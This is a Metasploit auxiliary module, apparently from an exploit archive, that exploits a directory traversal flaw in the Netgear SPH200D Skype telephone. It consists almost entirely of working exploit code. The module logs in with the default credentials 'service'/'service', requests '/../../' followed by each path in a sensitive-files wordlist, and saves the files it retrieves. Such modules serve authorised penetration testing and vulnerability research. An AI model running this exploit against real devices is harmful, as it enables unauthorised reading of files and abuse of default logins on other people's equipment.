Netgear SPH200D Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal vulnerability which is present in  
Netgear SPH200D Skype telephone.  
},  
'References' =>  
[  
[ 'BID', '57660' ],  
[ 'EDB', '24441' ],  
[ 'URL', 'http://support.netgear.com/product/SPH200D' ],  
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]  
],  
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],  
'License' => MSF_LICENSE  
)  
register_options(  
[  
OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",  
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),  
OptString.new('HttpUsername',[ true, 'User to login with', 'service']),  
OptString.new('HttpPassword',[ true, 'Password to login with', 'service'])  
])  
end  
  
def extract_words(wordfile)  
return [] unless wordfile && File.readable?(wordfile)  
  
begin  
File.readlines(wordfile, chomp: true)  
rescue ::StandardError => e  
elog(e)  
[]  
end  
end  
  
# traverse every file  
def find_files(file,user,pass)  
traversal = '/../../'  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(traversal, file),  
'authorization' => basic_auth(user,pass)  
})  
  
if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/  
print_good("Request may have succeeded on file #{file}")  
report_web_vuln({  
:host => rhost,  
:port => rport,  
:vhost => datastore['VHOST'],  
:path => "/",  
:pname => normalize_uri(traversal, file),  
:risk => 3,  
:proof => normalize_uri(traversal, file),  
:name => self.fullname,  
:category => "web",  
:method => "GET"  
})  
  
loot = store_loot("lfi.data","text/plain", rhost, res.body, file)  
vprint_good("File #{file} downloaded to: #{loot}")  
elsif res and res.code  
vprint_error("Attempt returned HTTP error #{res.code} when trying to access #{file}")  
end  
end  
  
def run_host(ip)  
user = datastore['HttpUsername']  
pass = datastore['HttpPassword']  
  
vprint_status("Trying to login with #{user} / #{pass}")  
  
# test login  
begin  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'authorization' => basic_auth(user,pass)  
})  
  
return :abort if res.nil?  
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)  
return :abort if (res.code == 404)  
  
if [200, 301, 302].include?(res.code)  
vprint_good("Successful login #{user}/#{pass}")  
else  
vprint_error("No successful login possible with #{user}/#{pass}")  
return :abort  
end  
  
rescue ::Rex::ConnectionError  
vprint_error("Failed to connect to the web server")  
return :abort  
end  
  
extract_words(datastore['FILELIST']).each do |file|  
find_files(file,user,pass) unless file.empty?  
end  
end  
end  
`